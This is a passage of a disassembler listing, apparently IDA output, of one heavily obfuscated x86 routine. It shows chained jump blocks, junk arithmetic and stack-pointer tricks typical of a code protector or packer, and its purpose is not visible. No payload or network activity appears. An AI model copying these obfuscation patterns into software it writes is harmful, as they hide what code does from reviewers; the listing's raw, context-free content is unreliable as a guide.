		add	ebx, 0CD88BE1Bh
		jmp	loc_59CB21
; ---------------------------------------------------------------------------


loc_5A18CE:				; CODE XREF: sub_581EE9+1819Fj
		and	ecx, 2C21099Fh
		sub	ecx, 7D860A65h
		xor	edx, ecx
		pop	ecx
		add	edx, ebx
		pop	ebx
		add	eax, 58C052E8h
		sub	eax, 220D1BF3h
		add	eax, edx
		add	eax, 220D1BF3h
		sub	eax, 58C052E8h
		mov	edx, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		jmp	loc_59ACE4
; ---------------------------------------------------------------------------


loc_5A1904:				; CODE XREF: sub_581EE9+17A1Bj
		sub	[esp-6E76h+arg_6E76], ecx
		jmp	loc_59B1BC
; ---------------------------------------------------------------------------


loc_5A190D:				; CODE XREF: sub_581EE9+1AAE3j
		push	ebx
		mov	bh, 0B0h
		add	al, bh
		pop	ebx
		add	al, 3Dh
		push	edx
		mov	dl, 11h
		push	eax
		push	ecx
		mov	cl, 0D8h
		and	cl, 0ECh
		xor	cl, 70h
		jmp	loc_5A2763
; ---------------------------------------------------------------------------


loc_5A1927:				; CODE XREF: sub_581EE9+16896j
		mov	al, bl
		pop	ebx
		jmp	loc_5976A9
; ---------------------------------------------------------------------------


loc_5A192F:				; CODE XREF: sub_581EE9+156FEj
		pop	eax
		sub	esp, 4
		mov	[esp-6E56h+arg_6E4C+2],	ebx
		push	esp
		jmp	loc_59697E
; ---------------------------------------------------------------------------


loc_5A193C:				; CODE XREF: sub_581EE9+178EAj
		mov	[esp-6E72h+arg_6E68+2],	ecx
		jmp	loc_5A232D
; ---------------------------------------------------------------------------


loc_5A1944:				; CODE XREF: sub_581EE9+11ADBj
		xor	ebp, 4B3F18F5h
		neg	ebp
		shl	ebp, 1
		dec	ebp
		not	ebp
		jmp	loc_597666
; ---------------------------------------------------------------------------


loc_5A1956:				; CODE XREF: sub_581EE9+2470Cj
		push	esp
		jmp	loc_5A5BAA
; ---------------------------------------------------------------------------


loc_5A195C:				; CODE XREF: sub_581EE9+1EB54j
		push	305Fh
		mov	[esp-6EA6h+arg_6E9E], esp
		jmp	loc_59276C
; ---------------------------------------------------------------------------


loc_5A1969:				; CODE XREF: sub_581EE9+223A6j
		push	si
		sub	word ptr [esp-6EA4h+arg_6E9A+2], 7384h
		mov	bx, word ptr [esp-6EA4h+arg_6E9A+2]
		add	esp, 2
		add	bx, 7384h
		jmp	loc_592E18
; ---------------------------------------------------------------------------


loc_5A1985:				; CODE XREF: sub_581EE9+17E3Dj
		push	74DFh
		jmp	loc_59EC1D
; ---------------------------------------------------------------------------


loc_5A198F:				; CODE XREF: sub_581EE9+23F88j
		pop	edx
		push	[esp-6E7Ah+arg_6E72]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E76h+arg_6E6E]
		pop	esp
		jmp	loc_59B220
; ---------------------------------------------------------------------------


loc_5A19AC:				; CODE XREF: sub_581EE9+1A184j
		sub	edx, 32A7213Bh
		jmp	loc_5979AF
; ---------------------------------------------------------------------------


loc_5A19B7:				; CODE XREF: sub_581EE9+1CEA4j
		push	eax
		jmp	loc_5A41E1
; ---------------------------------------------------------------------------


loc_5A19BD:				; CODE XREF: sub_581EE9+22312j
		sub	[esp-6EA4h+arg_6E9E+2],	2123FA0h
		add	[esp-6EA4h+arg_6E9E+2],	edx
		add	[esp-6EA4h+arg_6E9E+2],	2123FA0h
		pop	edx
		mov	eax, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		push	esi
		jmp	loc_59F908
; ---------------------------------------------------------------------------


loc_5A19E1:				; CODE XREF: sub_581EE9+1EF40j
		inc	edx
		neg	edx
		add	edx, 0FFFFFFFFh
		jmp	loc_5A51A7
; ---------------------------------------------------------------------------


loc_5A19EC:				; CODE XREF: sub_581EE9+24C0Aj
		pop	edx
		mov	bh, ah
		mov	ax, word ptr [esp-6E68h+arg_6E60]
		sub	esp, 4
		jmp	loc_5A329B
; ---------------------------------------------------------------------------


loc_5A19FB:				; CODE XREF: sub_581EE9+1E905j
		mov	ebp, 4
		sub	edi, 55E3668Ah
		add	edi, ebp
		add	edi, 55E3668Ah
		push	[esp-6E58h+arg_6E50]
		pop	ebp
		add	esp, 4
		push	1105h
		mov	[esp-6E58h+arg_6E50], edi
		push	[esp-6E58h+arg_6E54]
		jmp	loc_59F900
; ---------------------------------------------------------------------------


loc_5A1A26:				; CODE XREF: sub_581EE9+21F6Cj
		pop	edi
		xor	eax, esi
		mov	esi, [esp-6E58h+arg_6E50]
		jmp	loc_59262F
; ---------------------------------------------------------------------------


loc_5A1A31:				; CODE XREF: sub_581EE9+14283j
		mov	[esp-6E92h+arg_6E8A], esi
		push	186Fh
		jmp	loc_59A4F4
; ---------------------------------------------------------------------------


loc_5A1A3E:				; CODE XREF: sub_581EE9+15915j
		mov	ecx, eax
		mov	eax, [esp-6E94h+arg_6E8A+2]
		jmp	loc_5A2039
; ---------------------------------------------------------------------------


loc_5A1A48:				; CODE XREF: sub_581EE9+22AE9j
		mov	edi, 5C7876E8h
		jmp	loc_5A1769
; ---------------------------------------------------------------------------


loc_5A1A52:				; CODE XREF: sub_581EE9+1396Aj
		sub	ebp, 14814104h
		add	esi, ebp
		jmp	loc_5A585D
; ---------------------------------------------------------------------------


loc_5A1A5F:				; CODE XREF: sub_581EE9+1B06Bj
		shr	eax, 7
		jmp	loc_59ED5C
; ---------------------------------------------------------------------------


loc_5A1A67:				; CODE XREF: sub_581EE9+1FE58j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E5Eh+arg_6E54+2]
		pop	esp
		mov	[esp-6E62h+arg_6E58+2],	eax
		push	esp
		pop	eax
		push	ebp
		push	5C515345h
		pop	ebp
		xor	ebp, 5C515341h
		sub	eax, 6D1A64AFh
		jmp	loc_598E69
; ---------------------------------------------------------------------------


loc_5A1A95:				; CODE XREF: sub_581EE9+17E2Cj
		or	ebx, edx
		jmp	loc_5A2F53
; ---------------------------------------------------------------------------


loc_5A1A9C:				; CODE XREF: sub_581EE9+1DC7Cj
		sub	edi, 3D3FFFE2h
		add	ebx, edi
		jmp	loc_5A1750
; ---------------------------------------------------------------------------


loc_5A1AA9:				; CODE XREF: sub_581EE9+143CFj
		sub	edi, 63FF3BF7h
		mov	ecx, edi
		mov	edi, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_59443E
; ---------------------------------------------------------------------------


loc_5A1AB9:				; CODE XREF: sub_581EE9+18BBCj
		add	esp, 4
		add	edx, eax
		sub	edx, 54F63238h
		jmp	loc_59A997
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A1AD1:				; CODE XREF: sub_581EE9+1B709j
		push	esp
		push	[esp-6E62h+arg_6E58+2]
		mov	ebx, [esp-6E5Eh+arg_6E54+2]
		add	esp, 4
		add	esp, 4
		add	ebx, 4
		push	3D90h
		jmp	loc_596B31
; ---------------------------------------------------------------------------


loc_5A1AEE:				; CODE XREF: sub_581EE9+17027j
		push	ecx
		mov	ecx, 72FE27ADh
		push	147Ch
		mov	[esp-6EA0h+arg_6E96+2],	ebx
		push	edi
		mov	edi, 6FA01680h
		mov	ebx, edi
		pop	edi
		sub	ecx, 5CB83432h
		jmp	loc_5A137B
; ---------------------------------------------------------------------------


loc_5A1B10:				; CODE XREF: sub_581EE9+1CEAFj
		sub	edx, 4
		xchg	edx, [esp-6E66h+arg_6E5C+2]
		pop	esp
		mov	[esp-6E6Ah+arg_6E60+2],	edi
		mov	edi, 0F7106DDh
		sub	edi, 75170A2Bh
		neg	edi
		jmp	loc_593409
; ---------------------------------------------------------------------------


loc_5A1B2F:				; CODE XREF: sub_581EE9+1BA71j
		shl	ebp, 7
		dec	ebp
		add	ebp, 2574025Fh
		add	esi, ebp
		mov	ebp, [esp-6E76h+arg_6E6E]
		push	ecx
		jmp	loc_5A65C9
; ---------------------------------------------------------------------------


loc_5A1B44:				; CODE XREF: sub_581EE9+1FFCAj
		pop	ebx
		push	ebp
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	edi
		push	6FCB6F3Bh
		pop	edi
		shl	edi, 3
		dec	edi
		add	edi, 0A49AE6F7h
		push	ebx
		mov	ebx, edi
		mov	ebp, ebx
		pop	ebx
		pop	edi
		add	ebp, 53AB7898h
		jmp	loc_59584D
; ---------------------------------------------------------------------------


loc_5A1B71:				; CODE XREF: sub_581EE9+1F8CBj
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp-6E88h+arg_6E80]
		pop	esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp-6E88h+arg_6E80], ebp
		mov	ebp, 4
		sub	ebx, 64DB0260h
		push	ecx
		mov	ecx, 6827EABh
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		sub	ebx, 6827EABh
		push	edx
		mov	edx, 140155ACh
		neg	edx
		neg	edx
		inc	edx
		sub	esp, 4
		mov	[esp-6E80h+arg_6E76+2],	ebx
		mov	ebx, 33C9284Bh
		sub	edx, ebx
		jmp	loc_5925F7
; ---------------------------------------------------------------------------


loc_5A1BCB:				; CODE XREF: sub_581EE9+242B8j
		mov	edi, 4F7233EFh
		and	edi, 5508F4h
		sub	esp, 4
		mov	[esp-6E7Ch+arg_6E72+2],	ebp
		mov	ebp, 59CF56C2h
		or	edi, ebp
		pop	ebp
		jmp	loc_59B320
; ---------------------------------------------------------------------------


loc_5A1BEC:				; CODE XREF: sub_581EE9+24297j
		pop	ecx
		sub	esp, 2
		mov	word ptr [esp-6E80h+arg_6E76+2], cx
		not	byte ptr [esp-6E80h+arg_6E76+3]
		pop	cx
		push	small 0
		sub	byte ptr [esp-6E80h+arg_6E76+2], ch
		mov	ch, byte ptr [esp-6E80h+arg_6E76+2]
		add	esp, 2
		xor	ch, 38h
		sub	dh, ch
		pop	ecx
		push	ecx
		mov	cl, 6Ah
		add	dh, 0C6h
		add	dh, cl
		sub	dh, 0C6h
		jmp	loc_5A53CC
; ---------------------------------------------------------------------------


loc_5A1C1D:				; CODE XREF: sub_581EE9+101EEj
		push	ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A1C25:				; CODE XREF: sub_581EE9+1BA22j
		mov	ax, dx
		jmp	loc_59EA73
; ---------------------------------------------------------------------------


loc_5A1C2D:				; CODE XREF: sub_581EE9+1BC14j
		mov	[esp-6EA0h+arg_6E96+2],	eax
		push	[esp-6EA0h+arg_6E9A+2]
		jmp	loc_59D3B1
; ---------------------------------------------------------------------------


loc_5A1C39:				; CODE XREF: sub_581EE9+1043Cj
		sub	esi, 66B6555h
		xor	esi, ecx
		push	[esp-6EA8h+arg_6E9E+2]
		pop	ecx
		push	ebx
		jmp	loc_59E0A0
; ---------------------------------------------------------------------------


loc_5A1C4B:				; CODE XREF: sub_581EE9+1CECDj
		pop	edi
		jmp	loc_5A55B6
; ---------------------------------------------------------------------------


loc_5A1C51:				; CODE XREF: sub_581EE9+10305j
		mov	[esp-6EA8h+arg_6E9E+2],	ebx
		jmp	loc_593FB8
; ---------------------------------------------------------------------------


loc_5A1C59:				; CODE XREF: sub_581EE9+2159Dj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A1C65:				; CODE XREF: sub_581EE9+10821j
		sub	esp, 4
		mov	[esp-6EA0h+arg_6E96+2],	eax
		mov	eax, 1CB04BE4h
		sub	[esp-6EA0h+arg_6E9E+2],	eax
		pop	eax
		pop	ebp
		add	[esp-6EA8h+arg_6E9E+2],	3A6E37C7h
		push	1527h
		jmp	loc_59B441
; ---------------------------------------------------------------------------


loc_5A1C8A:				; CODE XREF: sub_581EE9+1860Ej
		push	ecx
		jmp	loc_599B77
; ---------------------------------------------------------------------------


loc_5A1C90:				; CODE XREF: sub_581EE9+1198Bj
		sub	edx, 4
		xchg	edx, [esp-6EA0h+arg_6E96+2]
		mov	esp, [esp-6EA0h+arg_6E96+2]
		mov	[esp-6EA0h+arg_6E96+2],	ebp
		mov	ebp, 67EB0E4Eh
		jmp	loc_59F6DA
; ---------------------------------------------------------------------------


loc_5A1CA9:				; CODE XREF: sub_581EE9+1D07Ej
		mov	[esp-6E8Ah+arg_6E80+2],	ebp
		push	ecx
		mov	ecx, 3C0C05AAh
		jmp	loc_5923C7
; ---------------------------------------------------------------------------


loc_5A1CB7:				; CODE XREF: sub_581EE9+21DC0j
		pop	[esp-6E86h+arg_6E7C+2]
		add	[esp-6E8Ah+arg_6E80+2],	4
		mov	ecx, [esp-6E8Ah+arg_6E80+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6E86h+arg_6E7C+2]
		pop	esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_595077
; ---------------------------------------------------------------------------


loc_5A1CE5:				; CODE XREF: sub_581EE9+20CAFj
		neg	ecx
		add	ecx, 2B785091h
		add	ecx, 0E387F1Dh
		sub	edx, ecx
		pop	ecx
		jmp	loc_5A0AF0
; ---------------------------------------------------------------------------


loc_5A1CFB:				; CODE XREF: sub_581EE9+21F8Cj
		push	ebp
		jmp	loc_5931A4
; ---------------------------------------------------------------------------


loc_5A1D01:				; CODE XREF: sub_581EE9+13293j
		add	esp, 4
		not	edi
		sub	edi, 8AA5856Ah
		and	eax, edi
		jmp	loc_5A2C89
; ---------------------------------------------------------------------------


loc_5A1D13:				; CODE XREF: sub_581EE9+1DF5Aj
		mov	edx, ecx
		jmp	loc_5A0D5A
; ---------------------------------------------------------------------------


loc_5A1D1A:				; CODE XREF: sub_581EE9+1D03Dj
		or	ebx, eax
		jmp	loc_5A676A
; ---------------------------------------------------------------------------


loc_5A1D21:				; CODE XREF: sub_581EE9+1D5E1j
		sub	eax, 6BED6A5Ah
		xor	edx, eax
		pop	eax
		mov	esi, [esp-6E80h+arg_6E76+2]
		add	esp, 4


loc_5A1D2F:				; CODE XREF: sub_581EE9+1598Fj
					; sub_581EE9+181D0j
		push	ebx
		jmp	loc_59CA75
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E80h+arg_6E76+2]
		push	1BDDh
		mov	[esp-6E7Ch+arg_6E72+2],	ebx
		jmp	loc_5A1A67
; ---------------------------------------------------------------------------


loc_5A1D46:				; CODE XREF: sub_581EE9+17C45j
		add	eax, ebx
		push	esi
		jmp	loc_59D927
; ---------------------------------------------------------------------------


loc_5A1D4E:				; CODE XREF: sub_581EE9+1E8F7j
		add	edi, edx
		pop	edx
		sub	esp, 4
		jmp	loc_5A118D
; ---------------------------------------------------------------------------


loc_5A1D59:				; CODE XREF: sub_581EE9+103B3j
		mov	[esp-6EB0h+arg_6EA8], eax
		mov	eax, esp
		jmp	loc_594E78
; ---------------------------------------------------------------------------


loc_5A1D63:				; CODE XREF: sub_581EE9+20D7Bj
		mov	ebp, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		push	ebx
		jmp	loc_593901
; ---------------------------------------------------------------------------


loc_5A1D72:				; CODE XREF: sub_581EE9+1062Ej
		pop	ebx
		push	7A14h
		mov	[esp-6EA4h+arg_6E9A+2],	ebp
		push	4
		jmp	loc_59EE04
; ---------------------------------------------------------------------------


loc_5A1D85:				; CODE XREF: sub_581EE9+1087Ej
		add	al, 2Fh
		jmp	loc_593166
; ---------------------------------------------------------------------------


loc_5A1D8C:				; CODE XREF: sub_581EE9+1530Fj
		add	cl, 79h
		jmp	loc_5A42EB
; ---------------------------------------------------------------------------


loc_5A1D94:				; CODE XREF: sub_581EE9+1C927j
		add	edx, 3A1F1B32h
		push	ebx
		mov	ebx, 522106F2h
		jmp	loc_5A5C16
; ---------------------------------------------------------------------------


loc_5A1DA5:				; CODE XREF: sub_581EE9+2135Dj
		and	ch, 0Bh
		push	ax
		mov	al, 96h
		add	ch, al
		mov	ax, word ptr [esp-6EA0h+arg_6E96+2]
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	ebx
		jmp	loc_5A1128
; ---------------------------------------------------------------------------


loc_5A1DBD:				; CODE XREF: sub_581EE9+14978j
		mov	ecx, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		push	edx
		mov	edx, 5B4D186Dh
		sub	ebx, 40683A68h
		sub	ebx, 7AD77872h
		jmp	loc_594CFE
; ---------------------------------------------------------------------------


loc_5A1DDA:				; CODE XREF: sub_581EE9+244F6j
		mov	ebx, ecx
		push	esi
		mov	esi, ebx
		mov	ebp, esi
		pop	esi
		mov	ebx, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		pop	ecx
		sub	esp, 4
		jmp	loc_596420
; ---------------------------------------------------------------------------


loc_5A1DF7:				; CODE XREF: sub_581EE9+20037j
		push	ecx
		mov	cl, dh
		push	ebx
		mov	bl, cl
		mov	al, bl
		pop	ebx
		pop	ecx
		not	al
		push	ebx
		mov	bh, al
		mov	dh, bh
		pop	ebx
		pop	ax
		jmp	loc_598DFE
; ---------------------------------------------------------------------------


loc_5A1E10:				; CODE XREF: sub_581EE9+1DD03j
		push	39A349DBh
		pop	esi
		shl	esi, 6
		add	esi, 19CBF02h
		jmp	loc_593320
; ---------------------------------------------------------------------------


loc_5A1E24:				; CODE XREF: sub_581EE9+13DCBj
		add	esp, 4
		jmp	loc_5997D8
; ---------------------------------------------------------------------------


loc_5A1E2F:				; CODE XREF: sub_581EE9+22C38j
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		pop	edx
		sub	esp, 4
		jmp	loc_59684F
; ---------------------------------------------------------------------------


loc_5A1E3F:				; CODE XREF: sub_581EE9+246B5j
		push	6BB5h
		mov	[esp+0], ecx
		push	[esp-6E74h+arg_6E6E+2]
		pop	ecx
		jmp	loc_59AC1C
; ---------------------------------------------------------------------------


loc_5A1E51:				; CODE XREF: sub_581EE9+18140j
		mov	ebx, 284144F6h
		or	ebx, 635E67A3h
		jmp	loc_597693
; ---------------------------------------------------------------------------


loc_5A1E61:				; CODE XREF: sub_581EE9+123D3j
		mov	[esp-6E7Eh+arg_6E76], edx
		mov	edx, esp
		jmp	loc_5A444C
; ---------------------------------------------------------------------------


loc_5A1E6B:				; CODE XREF: sub_581EE9+22F3Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6E7Ah+arg_6E72]
		pop	esp
		jmp	loc_59DF1D
; ---------------------------------------------------------------------------


loc_5A1E80:				; CODE XREF: sub_581EE9+1213Cj
		sub	edi, edx
		jmp	loc_59C342
; ---------------------------------------------------------------------------


loc_5A1E87:				; CODE XREF: sub_581EE9+191CAj
		mov	[esp-6E80h+arg_6E76+2],	eax
		jmp	loc_599FDF
; ---------------------------------------------------------------------------


loc_5A1E8F:				; CODE XREF: sub_581EE9+21BB8j
		pop	eax
		sub	[esp-6E84h+arg_6E80], 6024606Ch
		sub	[esp-6E84h+arg_6E80], 3D4667B5h
		jmp	loc_5A306F
; ---------------------------------------------------------------------------


loc_5A1EA5:				; CODE XREF: sub_581EE9+131B5j
		push	edx
		jmp	loc_5A227B
; ---------------------------------------------------------------------------


loc_5A1EAB:				; CODE XREF: sub_581EE9+1BE44j
		add	ebx, 70FD3F84h
		add	esi, ebx
		jmp	loc_5A1B44
; ---------------------------------------------------------------------------


loc_5A1EB8:				; CODE XREF: sub_581EE9+15F1Bj
		pop	ebp
		push	ebx
		mov	ebx, 90E1488h
		add	ebx, 69BA0F8Ch
		xor	edi, ebx
		jmp	loc_5A3F37
; ---------------------------------------------------------------------------


loc_5A1ECC:				; CODE XREF: sub_581EE9+1360Dj
		or	eax, 63AC5AFFh
		shr	eax, 8
		sub	eax, 7FAE5Bh
		jmp	loc_59B0A7
; ---------------------------------------------------------------------------


loc_5A1EDE:				; CODE XREF: sub_581EE9+10A04j
		mov	ecx, [esp-6EC4h+arg_6EBA+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EC4h+arg_6EBA+2],	esi
		mov	esi, 5D0E5B67h
		sub	[esp-6EC4h+arg_6EBE+2],	6543142Eh
		sub	[esp-6EC4h+arg_6EBE+2],	esi
		add	[esp-6EC4h+arg_6EBE+2],	6543142Eh
		jmp	loc_5934C8
; ---------------------------------------------------------------------------


loc_5A1F0B:				; CODE XREF: sub_581EE9+154A9j
		pop	esi
		add	ecx, 4
		xor	ecx, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_594BA9
; ---------------------------------------------------------------------------


loc_5A1F17:				; CODE XREF: sub_581EE9+14B66j
		pop	ecx
		push	edi
		jmp	loc_5A34D4
; ---------------------------------------------------------------------------


loc_5A1F1E:				; CODE XREF: sub_581EE9+149D0j
		push	ax
		jmp	loc_5A1DF7
; ---------------------------------------------------------------------------


loc_5A1F25:				; CODE XREF: sub_581EE9+20832j
		push	17134A87h
		pop	ecx
		push	ecx
		add	dword ptr [esp+0], 3B035D41h
		pop	ebp
		sub	ebp, 3B035D41h
		pop	ecx
		jmp	loc_59DFA5
; ---------------------------------------------------------------------------


loc_5A1F40:				; CODE XREF: sub_581EE9+240F1j
		add	ebx, 1C2F7459h
		add	ebx, eax
		jmp	loc_592831
; ---------------------------------------------------------------------------


loc_5A1F4D:				; CODE XREF: sub_581EE9+18595j
		xchg	edi, [esp-6EA6h+arg_6E9E]
		pop	esp
		push	318Fh
		mov	[esp-6EA6h+arg_6E9E], ebp
		jmp	loc_59257F
; ---------------------------------------------------------------------------


loc_5A1F5E:				; CODE XREF: sub_581EE9+1CAEBj
		sub	edx, 1E7A42C0h
		add	edx, ecx
		jmp	loc_598C0A
; ---------------------------------------------------------------------------


loc_5A1F6B:				; CODE XREF: sub_581EE9+1CA93j
		add	bl, al
		pop	eax
		sub	bl, 5
		jmp	loc_5A1594
; ---------------------------------------------------------------------------


loc_5A1F76:				; CODE XREF: sub_581EE9+1D0F4j
		sub	al, bh
		add	al, 0FBh
		pop	ebx
		mov	bl, al
		pop	eax
		or	ch, bl
		pop	bx
		xor	ch, 50h
		xor	ch, 5Fh
		xor	al, ch
		pop	ecx
		push	dx
		push	ebx
		push	edx
		jmp	loc_59B53C
; ---------------------------------------------------------------------------


loc_5A1F94:				; CODE XREF: sub_581EE9+251AAj
		sub	ecx, 555A56D9h
		add	ecx, eax
		add	ecx, 555A56D9h
		pop	eax
		push	2151h
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		push	edi
		jmp	loc_59BAB4
; ---------------------------------------------------------------------------


loc_5A1FB1:				; CODE XREF: sub_581EE9+2527Fj
		add	eax, esi
		pop	esi
		push	edx
		push	esi
		mov	esi, 63785507h
		mov	edx, esi
		pop	esi
		jmp	loc_5A5E6F
; ---------------------------------------------------------------------------


loc_5A1FC3:				; CODE XREF: sub_581EE9+2252Cj
		not	[esp-6E66h+arg_6E5C+2]
		pop	edx
		push	eax
		push	488413BCh
		mov	eax, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		jmp	loc_59AF0A
; ---------------------------------------------------------------------------


loc_5A1FDB:				; CODE XREF: sub_581EE9+177E8j
		mov	edx, 680271D0h
		add	edx, 0C6BEE2B2h
		sub	ecx, edx
		jmp	loc_59833F
; ---------------------------------------------------------------------------


loc_5A1FED:				; CODE XREF: sub_581EE9+202F3j
		mov	ebx, eax
		jmp	loc_59C0A3
; ---------------------------------------------------------------------------


loc_5A1FF4:				; CODE XREF: sub_581EE9+2479Dj
		mov	eax, [esp]
		push	eax
		jmp	loc_5942A3
; ---------------------------------------------------------------------------


loc_5A1FFD:				; CODE XREF: sub_581EE9+1C4A0j
		sub	eax, 0B9560D9Ah
		xor	ebx, eax
		pop	eax
		add	ebx, 1
		xor	ebx, 112328AEh
		xor	ebx, 7E8810CBh
		push	edi
		sub	esp, 4
		mov	[esp-6E54h+arg_6E4C], eax
		push	23946127h
		pop	eax
		add	eax, 1FFA10DAh
		mov	edi, eax
		pop	eax
		and	ebx, edi
		pop	edi
		push	3171h
		jmp	loc_5981D4
; ---------------------------------------------------------------------------


loc_5A2039:				; CODE XREF: sub_581EE9+1FB5Aj
		add	esp, 4
		xor	eax, ecx
		push	[esp-6E98h+arg_6E8E+2]
		pop	ecx
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	722Eh
		mov	[esp+0], ebx
		mov	ebx, 4
		sub	esi, 6C3A66E8h
		sub	esi, 51CD3A69h
		jmp	loc_5A6357
; ---------------------------------------------------------------------------


loc_5A206F:				; CODE XREF: sub_581EE9+1BA43j
		add	eax, esi
		pop	esi
		mov	ebx, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E56h+arg_6E4C+2],	edx
		push	3582h
		mov	[esp-6E52h+arg_6E48+2],	edi
		push	1E535F59h
		push	[esp-6E4Eh+arg_6E44+2]
		push	dword ptr [esp+0]
		jmp	loc_5A0D1C
; ---------------------------------------------------------------------------


loc_5A209C:				; CODE XREF: sub_581EE9+20BD9j
		mov	esp, [esp-6E46h+arg_6E3E]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_5A5B86
; ---------------------------------------------------------------------------


loc_5A20AD:				; CODE XREF: sub_581EE9+1B5A4j
		mov	ecx, 762D50C8h
		inc	ecx
		or	ecx, 63FD2B8Dh
		shl	ecx, 4
		add	ecx, 0F49E7FE1h
		or	esi, ecx
		jmp	loc_59F618
; ---------------------------------------------------------------------------


loc_5A20C9:				; CODE XREF: sub_581EE9+2022Ej
		dec	ebp
		dec	ebp
		or	ebp, 3D264E58h
		jmp	loc_596E4A
; ---------------------------------------------------------------------------


loc_5A20D6:				; CODE XREF: sub_581EE9+20EB8j
		not	ebp
		sub	ebp, 26253B55h
		and	ebp, 18647698h
		add	ebp, 4A956FC2h
		sub	ebp, 166F66BBh
		sub	ecx, ebp
		pop	ebp
		add	ecx, 16197067h
		add	ecx, 49A12384h
		add	ecx, edi
		sub	ecx, 49A12384h
		sub	ecx, 16197067h
		push	ebp
		mov	ebp, 650F1A97h
		sub	ebp, 1
		inc	ebp
		jmp	loc_5A20C9
; ---------------------------------------------------------------------------


loc_5A211C:				; CODE XREF: sub_581EE9+18A90j
		pop	eax
		pop	edi
		xor	ebx, edx
		jmp	loc_59EB6A
; ---------------------------------------------------------------------------


loc_5A2125:				; CODE XREF: sub_581EE9+14326j
		add	al, 4Bh
		sub	al, bl
		jmp	loc_59BEDC
; ---------------------------------------------------------------------------


loc_5A212E:				; CODE XREF: sub_581EE9+22CD0j
		sub	esi, 52A82E41h
		sub	esi, edi
		add	esi, 52A82E41h
		pop	edi
		sub	ecx, esi
		pop	esi
		jmp	loc_5A539B
; ---------------------------------------------------------------------------


loc_5A2145:				; CODE XREF: sub_581EE9+16F4Cj
		mov	edi, esp
		jmp	loc_598B5B
; ---------------------------------------------------------------------------


loc_5A214C:				; CODE XREF: sub_581EE9+19123j
		or	esi, 20E70A0Eh
		sub	esi, 7120FF07h
		add	esi, 37E77E65h
		push	991h
		mov	[esp-6E88h+arg_6E80], ebx
		mov	ebx, 22CE1750h
		xor	ebx, 34112929h
		dec	ebx
		jmp	loc_59EBA8
; ---------------------------------------------------------------------------


loc_5A2177:				; CODE XREF: sub_581EE9+139E7j
		pop	[esp-6E96h+arg_6E8E]
		pop	esp
		movzx	ax, byte ptr [eax]
		push	edi
		jmp	loc_5A4619
; ---------------------------------------------------------------------------


loc_5A2185:				; CODE XREF: sub_581EE9+12C19j
		add	ecx, 4
		xchg	ecx, [esp-6E68h+arg_6E60]
		pop	esp
		and	al, bh
		jmp	loc_5A09B8
; ---------------------------------------------------------------------------


loc_5A2193:				; CODE XREF: sub_581EE9+25078j
		mov	ecx, 61F16C3Fh
		push	ebx
		mov	ebx, 687C6DEEh
		add	eax, ebx
		pop	ebx
		add	eax, ecx
		sub	eax, 687C6DEEh
		pop	ecx
		sub	eax, ebx
		sub	eax, 61F16C3Fh
		sub	esp, 4
		mov	[esp-6E6Ch+arg_6E64], ebx
		mov	ebx, 34E12550h
		shr	ebx, 4
		or	ebx, 77C62F15h
		shl	ebx, 8
		or	ebx, 51280534h
		jmp	loc_5987CF
; ---------------------------------------------------------------------------


loc_5A21D2:				; CODE XREF: sub_581EE9+212B7j
		mov	eax, 0C532521h
		xor	eax, 0C532523h
		jmp	loc_5A1FED
; ---------------------------------------------------------------------------


loc_5A21E1:				; CODE XREF: sub_581EE9+20850j
		add	dl, 78h
		xor	dl, al
		push	[esp-6E6Ch+arg_6E64]
		pop	eax
		add	esp, 4
		sub	dl, 0B5h
		add	dl, 0B3h
		add	dl, bl
		sub	dl, 0B3h
		push	ecx
		mov	ch, 80h
		shl	ch, 7
		shl	ch, 2
		jmp	loc_59D195
; ---------------------------------------------------------------------------


loc_5A2209:				; CODE XREF: sub_581EE9+1D160j
		xor	edx, 0F205B905h
		jmp	loc_5A1316
; ---------------------------------------------------------------------------


loc_5A2214:				; CODE XREF: sub_581EE9+22F75j
		mov	ecx, 2881BD04h
		push	ecx
		sub	[esp-6E3Eh+arg_6E36], 10D95E71h
		pop	edx
		push	ebx
		mov	ebx, 10D95E71h
		add	edx, ebx
		pop	ebx
		jmp	loc_5A475D
; ---------------------------------------------------------------------------


loc_5A2230:				; CODE XREF: sub_581EE9+2283Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6E42h+arg_6E3A]
		pop	esp
		jmp	loc_5A34AF
; ---------------------------------------------------------------------------


loc_5A2241:				; CODE XREF: sub_581EE9+1B930j
		mov	ebx, esp
		push	ebp
		push	4
		pop	ebp
		add	ebx, ebp
		jmp	loc_594AB3
; ---------------------------------------------------------------------------


loc_5A2251:				; CODE XREF: sub_581EE9+16A83j
		add	edx, 4
